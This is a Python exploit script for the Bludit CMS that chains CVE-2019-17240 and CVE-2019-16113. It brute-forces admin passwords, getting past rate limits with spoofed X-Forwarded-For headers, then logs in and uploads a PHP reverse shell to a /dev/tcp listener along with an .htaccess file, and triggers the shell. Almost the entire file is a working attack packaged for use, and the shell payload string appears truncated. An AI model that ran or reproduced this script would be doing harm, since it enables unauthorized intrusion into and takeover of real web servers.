#!/usr/bin/env python
import requests
import re
import argparse
import string
import random
# PoC combining CVE-2019-17240 & CVE-2019-16113
# Based on work by @hg8, @christasa, kisho64
# Global session - shared across all functions (like the working script)
session = requests.Session()
def banner():
return """
_ _____ ___ _
__| |___ /_ ___ __ / _ \ _ __ ___ (_)
/ _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
\__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|
This exploit combines CVE-2019-17240 & CVE-2019-16113 to gain remote shell on target.
Created by: d3vn0mi
"""
print(banner())
def get_csrf_token(target):
"""Get CSRF token from a page"""
request = session.get(target)
match = re.search(r'tokenCSRF"\s*value="([^"]+)"', request.text)
if match:
return match.group(1)
return None
def bruteforce_password(target_url, username, passwords):
"""
Bruteforce passwords with X-Forwarded-For bypass for rate limiting
Returns the correct password or None
"""
for num, password in enumerate(passwords):
try:
# Create new session for each attempt (like working script)
bf_session = requests.Session()
login_page = bf_session.get(target_url)
csrf_token = re.search(
r'tokenCSRF"\s*value="([^"]+)"', login_page.text
).group(1)
headers = {
'X-Forwarded-For': str(num),
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) '
'AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/77.0.3865.90 Safari/537.36',
'Referer': target_url
}
data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password
}
response = bf_session.post(
target_url, headers=headers, data=data, allow_redirects=False
)
print(f"[*] Trying: {password}")
if 'location' in response.headers:
if '/admin/dashboard' in response.headers['location']:
print(f"[+] Password found: {username}:{password}")
return password
except Exception:
pass
return None
def login(target_url, username, password):
"""
Login using the global session (with redirects allowed)
This establishes the authenticated session for subsequent requests
"""
csrf_token = get_csrf_token(target_url)
try:
# Allow redirects - this is key to establishing the session
request = session.post(
target_url,
data={
'tokenCSRF': csrf_token,
'username': username,
'password': password
}
)
if re.search(r"
Bludit - Dashboard", request.text):
return True
else:
return False
except Exception as e:
print(f"[!] Login error: {e}")
return False
def upload_file(payload, payload_name, upload_url, csrf_url):
"""Upload a file using the authenticated global session"""
csrf_token = get_csrf_token(csrf_url)
# Format matching the working script exactly
upload_data = {
'images[]': (payload_name, payload),
'uuid': (None, ''),
'tokenCSRF': (None, csrf_token)
}
try:
response = session.post(upload_url, files=upload_data)
if response.status_code == 200:
print(f"[+] Uploaded: {payload_name}")
return True
else:
print(f"[!] Failed to upload {payload_name}: "
f"{response.status_code}")
print(f"[!] Response: {response.text[:200]}")
return False
except Exception as e:
print(f"[!] Upload error: {e}")
return False
def trigger_shell(shell_url):
"""Trigger the uploaded shell and exit gracefully"""
print(f"[*] Triggering shell at: {shell_url}")
try:
requests.get(shell_url, timeout=10)
except requests.exceptions.Timeout:
# Timeout is expected - shell connects and doesn't return HTTP response
pass
except requests.exceptions.ConnectionError:
# Connection error might mean shell established
pass
except Exception:
pass
print("[+] Shell triggered successfully!")
print("[+] Reverse shell should be connected to your listener.")
print("[+] Exiting gracefully...")
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='Bludit RCE PoC (CVE-2019-17240 + CVE-2019-16113)'
)
parser.add_argument('url', help='Target URL (e.g., http://target.com)')
parser.add_argument('user', help='Admin username')
parser.add_argument('listener_ip', help='IP address of the listener')
parser.add_argument('--password', '-p', help='Single password to try')
parser.add_argument('--password-file', '-P',
help='File containing passwords (one per line)')
parser.add_argument('--port', type=int, default=8585,
help='Port of the listener (default: 8585)')
parser.add_argument('--delay', '-d', type=float, default=0.0,
help='Delay in seconds between attempts (default: 0)')
args = parser.parse_args()
if not args.password and not args.password_file:
parser.error("Either --password or --password-file must be provided")
url = args.url.rstrip('/')
username = args.user
listener_ip = args.listener_ip
listener_port = args.port
# URLs
login_url = f"{url}/admin/login"
upload_url = f"{url}/admin/ajax/upload-images"
csrf_url = f"{url}/admin/new-content"
# Generate random payload name
payload_name = ''.join(
random.choice(string.ascii_letters) for _ in range(10)
) + '.php'
# Payloads
shell_payload = (
f'& /dev/tcp/'
f'{listener_ip}/{listener_port} 0>&1\'");'
)
htaccess_payload = 'RewriteEngine on\nRewriteRule ^.*$ -'
shell_url = f"{url}/bl-content/tmp/{payload_name}"
# Get passwords
if args.password:
passwords = [args.password]
print("[*] Using single password")
else:
try:
with open(args.password_file, 'r') as f:
passwords = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[!] Password file not found: {args.password_file}")
exit(1)
print(f"[*] Loaded {len(passwords)} passwords from file")
# Step 1: Bruteforce to find password
print(f"\n[*] Starting password bruteforce against {login_url}")
found_password = bruteforce_password(login_url, username, passwords)
if not found_password:
print("[!] No valid password found. Exiting.")
exit(1)
# Step 2: Login with global session (this establishes auth for uploads)
print("\n[*] Logging in with found credentials...")
if login(login_url, username, found_password):
print("[+] Login successful!")
else:
print("[!] Login failed. Exiting.")
exit(1)
# Step 3: Upload shell and htaccess
print("\n[*] Uploading shell...")
upload_file(shell_payload, payload_name, upload_url, csrf_url)
upload_file(htaccess_payload, '.htaccess', upload_url, csrf_url)
# Step 4: Trigger shell
print("\n[*] Executing payload...")
trigger_shell(shell_url)
# Exit gracefully with success code
exit(0)